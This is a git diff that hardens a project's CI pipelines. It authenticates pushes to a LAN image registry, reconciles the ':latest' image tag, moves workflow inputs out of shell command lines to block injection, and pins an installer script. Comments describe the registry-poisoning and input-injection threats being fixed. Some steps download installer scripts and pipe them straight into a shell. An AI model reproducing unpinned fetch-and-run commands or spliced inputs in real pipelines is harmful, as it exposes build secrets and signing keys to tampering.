diff --git a/.gitea/scripts/reconcile-latest.sh b/.gitea/scripts/reconcile-latest.sh new file mode 100755 index 00000000..5a699277 --- /dev/null +++ b/.gitea/scripts/reconcile-latest.sh @@ -0,0 +1,68 @@ +#!/usr/bin/env bash +# Assert that a builder image's :latest is the SAME manifest as its content key, and +# re-point it when it isn't. +# +# This is what we do instead of pinning consumers by @sha256: digest +# (security-review-2026-08-05, H-6 — see the reasoning at the top of docker.yml). The +# content key is a hash of the ci/ tree, so "which image should :latest be?" has an +# answer derivable from the commit alone. Checking it on every run turns :latest from a +# tag someone remembered to move into a function of the tree. +# +# Two different things make them diverge and neither is distinguishable from here: +# +# - Someone overwrote :latest out of band. Post-fix that needs the push credential, +# but it is exactly the H-6 attack and it must not pass silently. +# - ci/ was reverted. The older key is already a cache hit, so nothing rebuilds and +# nothing re-points :latest — it stays on the newer build forever while every +# consumer pulls a builder that does not match the tree it is building. That bug +# predates this script. +# +# Both are repaired identically, so: repair, and shout. Failing the build instead would +# turn a legitimate revert into a red main with no way forward. +# +# Reads go to the anonymous port, the single write to the authenticated one. +set -euo pipefail + +IMAGE="${1:?usage: reconcile-latest.sh }" +KEY="${2:?usage: reconcile-latest.sh }" +: "${CI_REGISTRY:?CI_REGISTRY not set}" +: "${CI_REGISTRY_PUSH:?CI_REGISTRY_PUSH not set}" +: "${CI_REGISTRY_PASSWORD:?CI_REGISTRY_PASSWORD not set}" + +ACCEPT='Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, application/vnd.docker.distribution.manifest.list.v2+json' + +# Digest of a tag, or empty if the tag does not exist. Never fails the script itself — +# "missing" is a state this has to reason about, not an error to abort on. +digest_of() { + curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$1" 2>/dev/null \ + | tr -d '\r' | sed -n 's/^[Dd]ocker-[Cc]ontent-[Dd]igest: //p' || true +} + +key_digest=$(digest_of "$KEY") +latest_digest=$(digest_of latest) + +if [ -z "$key_digest" ]; then + echo "::error::$IMAGE:$KEY has no manifest — the build or push above did not land" + exit 1 +fi + +if [ "$key_digest" = "$latest_digest" ]; then + echo "$IMAGE:latest == :$KEY ($key_digest)" + exit 0 +fi + +echo "::warning::$IMAGE:latest did not match its content key :$KEY — re-pointing it. If ci/ was not just reverted, someone overwrote this tag out of band: check the registry access log on home-ci-core." +echo " was: ${latest_digest:-}" +echo " wanted: $key_digest (:$KEY)" + +tmp=$(mktemp) +trap 'rm -f "$tmp"' EXIT +media_type=$(curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" \ + | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p') +curl -sf -H "$ACCEPT" -o "$tmp" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" +curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $media_type" \ + --data-binary @"$tmp" "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/latest" + +now=$(digest_of latest) +[ "$now" = "$key_digest" ] || { echo "::error::re-point failed: :latest is $now"; exit 1; } +echo "$IMAGE:latest re-pointed to $key_digest" diff --git a/.gitea/workflows/announce.yml b/.gitea/workflows/announce.yml index e4a66c3b..39b880ba 100644 --- a/.gitea/workflows/announce.yml +++ b/.gitea/workflows/announce.yml @@ -41,9 +41,23 @@ jobs: env: REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }} UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }} + # Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion + # is a raw textual substitution performed BEFORE the shell sees the line, so a + # workflow_dispatch input containing shell syntax executes as this step — and this is the + # step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an + # update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data. + INPUT_TAG: ${{ inputs.tag }} run: | set -euo pipefail - TAG="${{ inputs.tag }}" + TAG="$INPUT_TAG" + # Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`. + case "$TAG" in + v[0-9]*) ;; + *) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;; + esac + case "$TAG" in + *[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;; + esac case "$TAG" in *-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;; esac @@ -67,4 +81,7 @@ jobs: GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }} DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }} ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }} - run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}" + # Same reasoning as the publish step above: the input is data in the environment, never + # text spliced into the command line. + INPUT_TAG: ${{ inputs.tag }} + run: bash scripts/ci/discord-announce.sh "$INPUT_TAG" diff --git a/.gitea/workflows/bench-gpu.yml b/.gitea/workflows/bench-gpu.yml index 3bb12745..54bef323 100644 --- a/.gitea/workflows/bench-gpu.yml +++ b/.gitea/workflows/bench-gpu.yml @@ -29,4 +29,9 @@ jobs: steps: - uses: actions/checkout@v4 - name: Tier-3 GPU stream benchmark - run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12 + # Through the environment, not interpolated into the command line: a `${{ }}` expansion is + # substituted before the shell parses the line, so an input carrying shell syntax would run + # as this step (2026-08-05 review H-6). + env: + BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }} + run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12 diff --git a/.gitea/workflows/ci.yml b/.gitea/workflows/ci.yml index fba4d909..4ccad414 100644 --- a/.gitea/workflows/ci.yml +++ b/.gitea/workflows/ci.yml @@ -252,6 +252,11 @@ jobs: run: bun run build - name: Typecheck run: bun run lint + # Scoped to server/: the console's browser code has no test runner, but the gate that keeps a + # plugin's origin apart from the console's does — and its failure mode is a well-formed header + # that only a browser rejects, which nothing else here would catch. + - name: Test + run: bun run test docs-site: runs-on: ubuntu-24.04 @@ -275,3 +280,31 @@ jobs: run: bun run build - name: Typecheck run: bun run lint + + # web/bun.nix and sdk/bun.nix are GENERATED from their bun.lock (bun2nix) and committed; the Nix + # build fetches node_modules from nothing else. They regenerate only on a local `bun install` that + # runs lifecycle scripts — never under CI's `--ignore-scripts`, and never on a merge or rebase, + # which happily carries a lockfile change past a bun.nix generated before it. That is not + # theoretical: web/bun.nix sat stale on main for 553 commits (2026-07-27 → 2026-08-05) with + # `nix build .#punktfunk-web` broken, and was repaired only by accident when an advisory bump + # happened to rerun a real `bun install`. + # + # Deliberately UNFILTERED and in ci.yml rather than nix.yml: it needs no Nix, takes well under a + # minute, and the whole point is that the drift arrives through commits that look unrelated to + # Nix. The Nix-toolchain gates (flake eval + building the bun packages) live in nix.yml. + bun-nix: + runs-on: ubuntu-24.04 + container: + image: oven/bun:1 + timeout-minutes: 15 + steps: + # oven/bun ships neither git nor a real node, and the slim base has no CA bundle — + # actions/checkout needs all three (see the web job). + - name: Install git + node + CA certs + run: apt-get update && apt-get install -y --no-install-recommends ca-certificates git nodejs + - uses: actions/checkout@v4 + # Regenerates each bun.nix from its committed bun.lock and diffs, and checks that the + # bun2nix version pin agrees across flake.nix and both package.json files (bun.nix has no + # schema stability across bun2nix releases). Fix with: scripts/ci/check-bun-nix.sh --fix + - name: bun.nix drift gate + run: sh scripts/ci/check-bun-nix.sh diff --git a/.gitea/workflows/decky.yml b/.gitea/workflows/decky.yml index a5363174..e72bde05 100644 --- a/.gitea/workflows/decky.yml +++ b/.gitea/workflows/decky.yml @@ -46,7 +46,10 @@ env: REGISTRY: git.unom.io OWNER: unom PACKAGE: punktfunk-decky # generic-registry package name - PLUGIN: punktfunk # plugin.json "name" == zip top-level dir + # The plugin's ON-DISK dir == the zip's top-level dir. Deliberately NOT plugin.json "name" + # (that is the brand-cased label Decky lists, and it locates a plugin by matching it, not by + # the folder) — see clients/decky/scripts/package.sh. + PLUGIN: punktfunk jobs: build-publish: diff --git a/.gitea/workflows/docker.yml b/.gitea/workflows/docker.yml index 9d78c765..003f4491 100644 --- a/.gitea/workflows/docker.yml +++ b/.gitea/workflows/docker.yml @@ -3,13 +3,18 @@ # Two very different image families now: # # BUILDER images (punktfunk-rust-ci{,-noble,-arm64cross}, punktfunk-fedora{,44}-rpm) -# live on the LAN registry (home-ci-core, 192.168.1.58:5010 — unom/infra -# runners/ci-core/) and are CONTENT-KEYED: the tag is a hash of what they are built -# from (the ci/ tree, + rust-toolchain.toml for the cross image), and a build only -# happens when that key has no manifest yet. A push that doesn't touch ci/ costs one -# curl per image (~seconds), pushes nothing over the WAN, and mints no per-SHA tag -# debris on the runners — the failure mode that filled the fleet's disks. `:latest` -# is re-pushed alongside every new key and is what the consuming workflows pin. +# live on the LAN registry (home-ci-core — unom/infra runners/ci-core/) and are +# CONTENT-KEYED: the tag is a hash of what they are built from (the ci/ tree, + +# rust-toolchain.toml for the cross image), and a build only happens when that key +# has no manifest yet. A push that doesn't touch ci/ costs one curl per image +# (~seconds), pushes nothing over the WAN, and mints no per-SHA tag debris on the +# runners — the failure mode that filled the fleet's disks. `:latest` is re-pushed +# alongside every new key and is what the consuming workflows pin. +# +# READS come from :5010 and need no credential. WRITES go to :5011 and need +# CI_REGISTRY_PASSWORD. Same store behind both — a registry keys by repository name, +# not by the host:port the client used — so an image pushed to :5011 is the same +# image every consumer pulls from :5010. # # APP images (punktfunk-web, punktfunk-docs) are deployables: they keep going to the # Gitea registry (git.unom.io) with :latest + :sha-<8> (+ :vX.Y.Z on tags), because @@ -17,8 +22,38 @@ # # Host and clients are intentionally NOT containerized (see CLAUDE.md "What's left"). # -# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only — -# the LAN registry is unauthenticated inside the LAN). +# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images). +# CI_REGISTRY_PASSWORD: repo Actions secret, the LAN registry's push credential for user +# `ci`. Generated on ci-core into /srv/ci/stack/registry-secret; rotate in both places. +# +# --- security-review-2026-08-05 H-6, FIXED 2026-08-05 ------------------------------- +# The registry used to accept anonymous pushes from any LAN peer, and every +# secret-bearing job in this repo runs INSIDE an image pulled from it. Attacker +# position #1 of the project's own threat model did not need to break any signing +# logic: push one tag, and the next android.yml run executes their code in the same job +# that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape for +# rpm.yml (RPM_GPG_PRIVATE_KEY) and android-promote.yml (SERVICE_ACCOUNT_JSON). +# +# The infra half is done (unom/infra runners/ci-core/): :5010 serves GET/HEAD only and +# refuses everything else with 405, :5011 demands basic auth on every request. The half +# in this file is done below: pushes and release-tag manifest PUTs authenticate. +# +# ⚠ On the second half as the review originally worded it — "pin consumers by @sha256: +# digest". We deliberately do something else, because after authentication the digest +# pin no longer buys what it was meant to buy. The set of people who can overwrite a tag +# is now exactly the set who can push to main and edit a pinned digest in this very +# file: a pin defends against nobody it did not already trust, while costing a +# two-commit dance on every ci/ change (~3x a month) during which consumers silently run +# a builder image that predates the ci/ change they are testing. +# +# What actually closes the residual gap — a tag quietly overwritten out of band — is +# making :latest a CHECKED function of the tree instead of a tag someone remembered to +# move. The "Reconcile :latest" step below asserts on every run that :latest and +# :ck-$KEY are the same digest, repairs it when they are not, and says so loudly. That +# catches an out-of-band overwrite on the next push to main, needs no churn, and fixes +# a real pre-existing bug on the side: reverting ci/ used to leave :latest pointing at +# the newer build forever. Revisit inline digest pins if the push credential ever leaves +# the maintainer trust set. # # Bootstrap note: consuming workflows pull /punktfunk-rust-ci:latest, so the LAN # registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry @@ -42,7 +77,10 @@ on: env: REGISTRY: git.unom.io OWNER: unom + # Read port (anonymous, GET/HEAD only) and write port (basic auth). Two doors onto + # one store; see the header. CI_REGISTRY: 192.168.1.58:5010 + CI_REGISTRY_PUSH: 192.168.1.58:5011 jobs: builders: @@ -98,21 +136,45 @@ jobs: echo "hit=false" >> "$GITHUB_OUTPUT" fi + # Tagged for the WRITE port: :5010 refuses a push outright, so a tag that names it + # can only fail. Consumers still pull the identical image from :5010. - name: Build if: steps.exists.outputs.hit == 'false' # --pull is cheap now: base images come through the ci-core pull-through mirror. run: | docker build --pull ${{ matrix.buildargs }} \ -f "${{ matrix.dockerfile }}" \ - -t "$CI_REGISTRY/${{ matrix.image }}:$KEY" \ - -t "$CI_REGISTRY/${{ matrix.image }}:latest" \ + -t "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY" \ + -t "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest" \ ci + # Gated like Build/Push: only the docker CLI needs this login (Reconcile and Tag-for-release + # authenticate via curl -u), so a cache-hit job with nothing to push must not be able to fail + # on a login it never uses — proven on run 16013, where a host with a misconfigured daemon + # failed exactly here on a hit=true leg. + - name: Log in to the LAN registry + if: steps.exists.outputs.hit == 'false' + run: | + echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} + - name: Push if: steps.exists.outputs.hit == 'false' run: | - docker push "$CI_REGISTRY/${{ matrix.image }}:$KEY" - docker push "$CI_REGISTRY/${{ matrix.image }}:latest" + docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY" + docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest" + + # :latest must be whatever ci/ says it is, on every run — not only on the runs that + # happened to build. Two things break that: an out-of-band overwrite (the H-6 + # attack, now only reachable by someone holding the push credential), and a plain + # revert of ci/, which leaves :latest on the newer build because the older key is + # already a cache hit and nothing re-points it. Both look identical from here and + # both are repaired the same way, so repair and shout rather than fail the build. + - name: Reconcile :latest with the content key + run: .gitea/scripts/reconcile-latest.sh "${{ matrix.image }}" "$KEY" + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} # A release pins reproducible builder images without any rebuild: copy the key's # manifest to a vX.Y.Z tag via the registry API (no image bytes move). @@ -124,8 +186,19 @@ jobs: | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p') curl -sf -H "$ACCEPT" -o /tmp/manifest.json \ "http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$KEY" - curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \ - "http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME" + curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \ + --data-binary @/tmp/manifest.json \ + "http://$CI_REGISTRY_PUSH/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME" + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} + + # Today the job container is ephemeral (the ubuntu-24.04 label is a docker:// + # image), so the credential docker login wrote would die with it anyway. Don't + # make that a load-bearing assumption about a runner label somebody may change to + # a host runner later. + - name: Log out of the LAN registry + if: always() + run: docker logout "$CI_REGISTRY_PUSH" || true # The aarch64 CROSS builder — a SEPARATE job because it is `FROM punktfunk-rust-ci:latest` # (the LAN copy) and so must not race the matrix entry that publishes that base. Consumed @@ -164,15 +237,28 @@ jobs: run: | docker build --pull \ -f ci/rust-ci-arm64cross.Dockerfile \ - -t "$CI_REGISTRY/$IMAGE:$KEY" \ - -t "$CI_REGISTRY/$IMAGE:latest" \ + -t "$CI_REGISTRY_PUSH/$IMAGE:$KEY" \ + -t "$CI_REGISTRY_PUSH/$IMAGE:latest" \ . + # Same gate as the builders job above: the login only serves Push. + - name: Log in to the LAN registry + if: steps.exists.outputs.hit == 'false' + run: | + echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} + - name: Push if: steps.exists.outputs.hit == 'false' run: | - docker push "$CI_REGISTRY/$IMAGE:$KEY" - docker push "$CI_REGISTRY/$IMAGE:latest" + docker push "$CI_REGISTRY_PUSH/$IMAGE:$KEY" + docker push "$CI_REGISTRY_PUSH/$IMAGE:latest" + + - name: Reconcile :latest with the content key + run: .gitea/scripts/reconcile-latest.sh "$IMAGE" "$KEY" + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} - name: Tag for release if: startsWith(github.ref, 'refs/tags/v') @@ -182,8 +268,15 @@ jobs: | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p') curl -sf -H "$ACCEPT" -o /tmp/manifest.json \ "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" - curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \ - "http://$CI_REGISTRY/v2/$IMAGE/manifests/$GITHUB_REF_NAME" + curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \ + --data-binary @/tmp/manifest.json \ + "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/$GITHUB_REF_NAME" + env: + CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }} + + - name: Log out of the LAN registry + if: always() + run: docker logout "$CI_REGISTRY_PUSH" || true # Deployable app images — unchanged flow, Gitea registry, per-SHA + release tags. apps: diff --git a/.gitea/workflows/nix.yml b/.gitea/workflows/nix.yml new file mode 100644 index 00000000..5693d755 --- /dev/null +++ b/.gitea/workflows/nix.yml @@ -0,0 +1,167 @@ +# Nix packaging gate. Until this existed, NOTHING in CI ever evaluated flake.nix: the word "nix" +# appeared in exactly one workflow file, and only in a comment about bun2nix breaking a Windows +# step. Every Nix regression therefore reached main invisibly and was found by hand on a Nix box — +# `nix build .#punktfunk-web` was broken for 553 commits before anyone noticed (see the bun-nix job +# in ci.yml for that story). +# +# Two tiers, because a full `nix flake check` builds the whole Rust workspace with crane and would +# run for an hour on every push: +# +# * eval — `nix flake check --no-build`: instantiates every package, app, check, devShell and +# the NixOS module without building them. Catches the failures that actually happen to +# this flake — a renamed file, a callPackage argument that no longer exists, a syntax +# error, a package attribute dropped from packages.nix. +# * bun — actually BUILDS punktfunk-web + punktfunk-scripting. These are the two derivations +# whose inputs churn constantly (every dependency bump moves a lockfile) and they cost +# minutes, not hours, because neither compiles Rust. This is the end-to-end proof that +# the generated bun.nix really does materialise a working node_modules offline — it +# covers what the ci.yml drift gate cannot, e.g. a tarball the registry no longer +# serves, or the codegen going quietly message-less (see packages.nix's inlang note). +# +# The Rust packages (punktfunk-host, punktfunk-client) and punktfunk-gamescope are NOT built here. +# They are the expensive ones and their inputs are already gated by the `rust` job in ci.yml; build +# them by hand on a Nix box, or with the `build-rust` dispatch input below. +# +# ⚠ pull_request is deliberately present. flatpak.yml shipped with push-only triggers and manifest +# breakage reached main invisibly for weeks — do not "simplify" this workflow by dropping it. +# ⚠ The two path lists are duplicated on purpose: a YAML anchor would be tidier, but Gitea's +# workflow parser is not a place to bet on anchor support. Keep them in step by hand. +name: nix + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +on: + push: + branches: [main] + paths: + - "flake.nix" + - "flake.lock" + - "packaging/nix/**" + - "**/bun.lock" + - "**/bun.nix" + - "**/package.json" + - "Cargo.lock" + - "Cargo.toml" + - "rust-toolchain.toml" + - ".gitea/workflows/nix.yml" + - "scripts/ci/check-bun-nix.sh" + pull_request: + paths: + - "flake.nix" + - "flake.lock" + - "packaging/nix/**" + - "**/bun.lock" + - "**/bun.nix" + - "**/package.json" + - "Cargo.lock" + - "Cargo.toml" + - "rust-toolchain.toml" + - ".gitea/workflows/nix.yml" + - "scripts/ci/check-bun-nix.sh" + workflow_dispatch: + inputs: + build-rust: + description: "Also build punktfunk-host + punktfunk-client (slow: full Rust workspace)" + type: boolean + default: false + +jobs: + flake: + runs-on: ubuntu-24.04 + container: + # NOT nixos/nix. That image contains nix and essentially nothing else — in particular no + # /bin/sleep, and Gitea's act_runner starts every job container with + # `entrypoint=["/bin/sleep","10800"]`. The container therefore never starts: + # failed to create shim task: OCI runtime create failed: unable to start container + # process: exec: "/bin/sleep": stat /bin/sleep: no such file or directory + # and — the part that makes this expensive to debug — every step is then reported as + # `cancelled` rather than failed, which reads exactly like a superseded run. + # + # node:22-bookworm instead: a full Debian with coreutils (so the entrypoint exists) and a + # real node (so actions/checkout works with no pre-checkout install dance), and audit.yml + # already pulls it on this fleet, so it is proven to resolve here. Nix is installed below. + image: node:22-bookworm + timeout-minutes: 90 + env: + # The flake needs both experimental features. Also baked into the installer's --extra-conf + # below; this covers any step that shells out before that config is read. + NIX_CONFIG: "experimental-features = nix-command flakes" + # Absolute path rather than $GITHUB_PATH: one less runner behaviour to assume. + NIX: /nix/var/nix/profiles/default/bin/nix + # `--init none` installs Nix with NO daemon running, but the installer still writes a profile + # script that exports NIX_REMOTE=daemon. Anything that sources it (any `-l` login shell) then + # dies on `cannot connect to socket at '/nix/var/nix/daemon-socket/socket'` — which is exactly + # how the installer's own self-test fails during this step, harmlessly, and would be a + # confusing first thing to read in the log. The steps below never source that profile, but pin + # the empty value so a future step cannot reintroduce it. Empty = talk to the local store + # directly, which works because the job runs as root (MEASURED: "Store URL: local, Trusted: 1", + # and a real `nix build` of a trivial derivation succeeds). + NIX_REMOTE: "" + steps: + - uses: actions/checkout@v4 + + # The Determinate installer needs curl + xz; git so nix can read the flake from the checkout. + # (node:22-bookworm is the full image and already has all three — this is belt-and-braces + # against a future slim-image swap, and costs one cached apt call.) + - name: Installer prerequisites + run: apt-get update && apt-get install -y --no-install-recommends ca-certificates curl xz-utils git + + # `--init none` is the container mode: no systemd, no daemon. Running as root, nix then talks + # to the store directly. Determinate Nix is also what the Nix box (.21) runs, so CI and the + # hand-verification box stay on the same distribution. + - name: Install Nix + run: | + curl -fsSL https://install.determinate.systems/nix -o /tmp/nix-installer.sh + sh /tmp/nix-installer.sh install linux --init none --no-confirm \ + --extra-conf "experimental-features = nix-command flakes" + "$NIX" --version + + # Nix reads the flake through libgit2 and refuses a checkout owned by another uid + # ("detected dubious ownership"), which is the normal case for a container job. + - name: Trust the checkout + run: git config --global --add safe.directory "$PWD" + + # Diagnostics. This fleet ran a runner out of disk on 2026-08-06 (the ci.yml `web` job died + # with "no space left on device" mid-`bun install`), and a Nix build is the heaviest thing + # here — so record the headroom, or a future failure is a guess. + - name: Environment + run: df -h / /nix /tmp || true + + # Evaluates + instantiates every flake output without building any of it. + - name: nix flake check (eval only) + run: | + "$NIX" flake check --no-build --show-trace + + # The bun packages, built for real. This is the leg that would have caught the stale + # web/bun.nix end to end: the derivation's offline `bun install` runs against a store cache + # built strictly from bun.nix, so a lockfile that cache does not cover fails here. + # Path-filtered, so it runs only when the packaging or a lockfile actually moves. If it ever + # starts going red on runner disk rather than on real defects, demote it to the dispatch + # opt-in below rather than leaving an infra-red gate on the board. + - name: Build the bun packages + run: | + "$NIX" build --print-build-logs .#punktfunk-web .#punktfunk-scripting + + # Both launchers exec pkgs.bun from the store; confirm they were produced and are real entry + # points rather than dangling wrappers. + - name: Smoke the built launchers + run: | + set -eu + web=$("$NIX" path-info .#punktfunk-web) + scripting=$("$NIX" path-info .#punktfunk-scripting) + test -x "$web/bin/punktfunk-web-server" || { echo "no punktfunk-web-server in $web" >&2; exit 1; } + test -x "$scripting/bin/punktfunk-scripting" || { echo "no punktfunk-scripting in $scripting" >&2; exit 1; } + # The console must be the bun bundle, not a node one — the same assertion packages.nix + # makes at build time, re-checked on the installed output. + grep -q 'Bun\.serve' "$web/share/punktfunk-web/.output/server/index.mjs" \ + || { echo "installed console is not a bun bundle" >&2; exit 1; } + echo "bun packages OK: $web $scripting" + + # Opt-in only: the full Rust workspace through crane, which is the hour-long leg. + # `github.event.inputs.*` (string) rather than `inputs.*` — the portable spelling. + - name: Build the Rust packages (dispatch opt-in) + if: ${{ github.event.inputs.build-rust == 'true' }} + run: | + "$NIX" build --print-build-logs .#punktfunk-host .#punktfunk-client diff --git a/.gitea/workflows/sbom.yml b/.gitea/workflows/sbom.yml index 657f1a94..871bbdaa 100644 --- a/.gitea/workflows/sbom.yml +++ b/.gitea/workflows/sbom.yml @@ -38,10 +38,18 @@ jobs: with: fetch-depth: 0 # Pinned syft (keep in sync with the version validated against this repo; bump deliberately). + # + # The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped + # into a shell, so whatever that branch happened to say at job time ran here, with the job's + # environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes + # the whole step reproducible: bump the tag in both places together. - name: Install syft + env: + SYFT_VERSION: v1.49.0 run: | - curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \ - | sh -s -- -b /usr/local/bin v1.49.0 + set -euo pipefail + curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \ + | sh -s -- -b /usr/local/bin "$SYFT_VERSION" - name: Generate SBOM run: | git config --global --add safe.directory "$PWD" diff --git a/LICENSE-APACHE b/LICENSE-APACHE index ce5770dc..3826403e 100644 --- a/LICENSE-APACHE +++ b/LICENSE-APACHE @@ -186,7 +186,7 @@ same "printed page" as the copyright notice for easier identification within third-party archives. - Copyright 2026 unom + Copyright 2026 unom - Enrico Bühler Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. diff --git a/LICENSE-MIT b/LICENSE-MIT index f42d1f92..18796f0e 100644 --- a/LICENSE-MIT +++ b/LICENSE-MIT @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2026 unom +Copyright (c) 2026 unom - Enrico Bühler Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/THIRD-PARTY-NOTICES.txt b/THIRD-PARTY-NOTICES.txt index 38361820..94ce4664 100644 --- a/THIRD-PARTY-NOTICES.txt +++ b/THIRD-PARTY-NOTICES.txt @@ -1,7 +1,7 @@ THIRD-PARTY SOFTWARE NOTICES ============================================================================ -punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0. +Punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0. The binaries it ships statically/dynamically link the third-party Rust crates listed below. Each is distributed under its own permissive license; the full license texts follow the manifest. This file is generated by scripts/gen-third-party-notices.py diff --git a/about.hbs b/about.hbs index 2a69a049..598d07ed 100644 --- a/about.hbs +++ b/about.hbs @@ -1,7 +1,7 @@ THIRD-PARTY SOFTWARE NOTICES ============================================================================ -punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0. +Punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0. The binaries it ships statically/dynamically link the third-party Rust crates below. Each is distributed under its own permissive license; full texts follow. Generated by `cargo about generate about.hbs` (see about.toml) — do not edit by hand. diff --git a/api/openapi.json b/api/openapi.json index 867ab315..b62c484c 100644 --- a/api/openapi.json +++ b/api/openapi.json @@ -10,7 +10,7 @@ "name": "MIT OR Apache-2.0", "identifier": "MIT OR Apache-2.0" }, - "version": "0.23.0" + "version": "0.24.0" }, "paths": { "/api/v1/clients": { @@ -1052,7 +1052,7 @@ "library" ], "summary": "Fetch one cover-art image for a library entry", - "description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —\nit's what the user's Steam client already shows for it), the public Steam CDN's flat URL\nconvention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host\ncan't predict, in which case this 404s and the client falls through to its next art candidate).\nOnly Steam ids are backed today; any other store 404s.", + "description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,\nand a library plugin's claimed-store entries) serves its local art file. A Steam title falls back\nto the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the\nuser's Steam client already shows for it), the public Steam CDN's flat URL convention second\n(newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case\nthis 404s and the client falls through to its next art candidate).", "operationId": "getLibraryArt", "parameters": [ { @@ -1307,7 +1307,7 @@ "library" ], "summary": "Replace a provider's library entries (declarative reconcile)", - "description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.", + "description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.\n\n`?store=` additionally **claims** that store for the provider: its entries then surface with\ndeterministic `:` ids and the store's own badge, instead of opaque\n`custom:` ones — which is what lets a library plugin reproduce the entries an in-host scanner\nused to produce, right down to the GameStream app ids and client-side art caches. One provider\nper store; a second claimant gets 409. While a claim is held the matching built-in scanner is\nsuppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty\nreconcile (a store can legitimately have zero installed titles).", "operationId": "reconcileProviderEntries", "parameters": [ { @@ -1318,6 +1318,15 @@ "schema": { "type": "string" } + }, + { + "name": "store", + "in": "query", + "description": "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)", + "required": false, + "schema": { + "type": "string" + } } ], "requestBody": { @@ -1348,7 +1357,7 @@ } 